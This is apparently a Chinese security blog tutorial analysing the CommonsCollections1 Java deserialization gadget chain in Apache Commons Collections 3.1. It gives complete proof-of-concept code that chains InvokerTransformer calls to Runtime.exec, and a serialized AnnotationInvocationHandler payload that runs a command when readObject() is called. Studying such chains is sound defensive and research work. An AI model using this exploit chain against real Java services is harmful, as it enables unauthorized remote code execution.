THIS IS B3c0me

记录生活中的点点滴滴

0%

CommonsCollections1

一、Commens Collection简介

Apache Commons Collections 是一个扩展了 Java 标准库里的 Collection 结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为 Apache 开源项目的重要组件,Commons Collections 被广泛应用于各种 Java 应用的开发,它已经成为 Java 中公认的集合处理标准。

它是一个基础数据结构包,同时封装了很多功能,其中我们需要关注一个功能:

  • Transforming decorators that alter each object as it is added to the collection
  • 转化装饰器:修改每一个添加到collection中的object

Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞触发函数就是在于这个点。

二、CC1利用链

2.1 环境部署

CommonsCollections1 反序列化利用链基于 Commons-collections-3.1 版本, 故在本地部署 CC1 环境的项目,需要以下条件:

  • 安装并使用 Java JDK 1.7(在Java 8u71以后的版本中修改了触发的类,所以不支持此链的利用);

  • 借助 Maven 项目的 pom.xml 配置文件,导入 Commons Collections 3.1 依赖包,依赖文件如下:

    1
    2
    3
    4
    5
    6
    7
    <dependencies>
    <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
    </dependency>
    </dependencies>

第二步也可以换成:从网上找到commons collections-3.1的jar包导入到项目作为库文件

2.2 CC1关键函数

为了理解 CommonCollections1 反序列化利用链,需要先理解 Common Collections 反序列化利用链工具库的几个关键接口和函数。

在 Commons Collections 中有一个 Transformer 接口,其中包含一个 transform 方法,通过实现此接口来达到类型转换的目的。

有很多类实现了该接口,其中CC1主要用到一下三个:

1. InvokerTransformer

其 transform 方法实现了通过反射来调用某方法:

2. ConstantTransformer

其 transform 方法将输入原封不动的返回:

3. ChainedTransformer

其 transform 方法实现了对每个传入的 transformer 都调用其 transform 方法,并将结果作为下一次的输入传递进去:

除了上述三个实现了 Transformer 接口的类外,还有一个类需要特殊补充下——TransformedMap。

Map 类是存储键值对的数据结构,Apache Commons Collection 中实现了类 TransformedMap,用来对 Map 进行某种变换。只要调用 TransformedMap 类中的decorate()函数,传入 key 和 value 的变换函数 Transformer,即可从任意 Map 对象生成相应的 TransformedMap。decorate()函数如下:

2.3 利用链POC1

当 Map 中的任意项的 Key 或者 Value 被修改,相应的 Transformer 就会被调用。要想任意代码执行,我们可以首先构造一个 Map 和一个能够执行代码的 ChainedTransformer,以此生成一个 TransformedMap,然后修改 Map 中的任意项的 Key 或者 Value,或者想办法去触发 Map 中的 MapEntry 产生修改(例如setValue()函数),即可触发我们构造的 Transformer。

  • 利用上面的知识点,构造了一个简单的链,达到命令执行:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    import java.util.HashMap;
    import java.util.Map;

    public class exec {
    public static void main(String[] args) throws Exception {
    //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
    Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
    };
    Transformer transformerChain = new ChainedTransformer(transformers);
    Map innerMap = new HashMap();
    Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
    outerMap.put("zeo", "666");
    }
    }
  • 运行效果如下

  • 代码分析
  1. 定义一个 Transformer 对象的数组,构造中间的小链子(包含 ConstantTransformer,InvokerTransformer);
  2. 基于反射调用 InvokerTransformer 构造命令执行代码;
  3. 命令执行造好了,还有一个触发 ChainedTransformer 的方法,就是 TransformedMap.decorate 方法;
  4. 实例化一个 Map对象,然后修饰绑定上 transformerChain 这个上面,每当有 Map 有新元素进来的时候,就会触发上面的链;
  5. 所以 Map 对象 put("zeo", "666") 一下就会触发命令执行成功弹出了计算器。

对上述 POC 进行简单的改造(主要是改末尾的 outerMap.put("zeo", "666");),也是可以触发漏洞的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar");
}
}

当上面的代码运行到 setValue() 时,就会触发 ChainedTransformer 中的一系列变换函数:

首先通过 ConstantTransformer 获得 Runtime 类;
进一步通过反射调用 getMethod 找到 invoke 函数;
最后再运行命令 calc.exe。
但是目前的构造还需要依赖于触发 Map 中某一项去调用 setValue(),我们需要想办法通过 readObject() 直接触发。

  • 调试分析

    下面利用 IDEA 来调试分析下上述代码触发反序列化漏洞的过程:

1.在setValue()函数所在的行设置断点,进入调试

2.跟进setValue(),发现调用了TransformedMap类的checkSetValue()方法

3.继续跟进checkSetValue()方法,会来到ChainedTransformer方法的transform方法

4.继续跟进来到ConstantTransformer的transform方法

5.一直跟进就会来到命令执行的 transform 方法中,最终导致 RCE:

2.4 利用链POC2

上面的 POC 代码虽然成功触发反序列化漏洞了,但是其实是手动触发的,没什么用的。反序列化洞,你不得找到一个反序列化的点,来触发这个洞吗?所以关键目标是:找到⼀个类,它在反序列化的 readObject() 函数逻辑⾥有类似的写⼊操作。

我们发现 Java 运行库中有这样一个类AnnotationInvocationHandler,这个类有一个成员变量 memberValues 是 Map 类型,如下所示:

1
2
3
4
5
6
7
8
9
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
...

AnnotationInvocationHandler的 readObject() 函数中对 memberValues 的每一项调用了 setValue() 函数,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
// 此处触发一些列的Transformer
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}

因此,我们只需要使用前面构造的 Map 来构造 AnnotationInvocationHandler 进行序列化,当触发 readObject() 反序列化的时候,就能实现命令执行。另外需要注意的是,想要在调用未包含的 package 中的构造函数,我们必须通过反射的方式,综合生成任意代码执行的 payload 的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class Ser {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
// 包装对象
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null,}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null,}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "xxxx");
Map decorate = TransformedMap.decorate(map, null, chainedTransformer);
// 'sun.reflect.annotation.AnnotationInvocationHandler' 在 'sun.reflect.annotation' 中不为 public。
// 我们不能直接创建对象,需要利用反射获得对象
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class, decorate);
// 序列化对象
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream(new File("cc1.ser")));
objectOutputStream.writeObject(o);
objectOutputStream.close();
// 反序列化对象
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(new File("cc1.ser")));
objectInputStream.readObject();
objectInputStream.close();
}
}

以上解释了如何通过 Apache Commons Collections 3 这个库中的代码,来构造序列化对象,使得程序在反序列化时可以立即实现任意代码执行。

参考文章

1.https://blog.csdn.net/weixin_39190897/article/details/119222050

2.JAVA反序列化 - Commons-Collections组件 - 先知社区 (aliyun.com)

欢迎关注我的其它发布渠道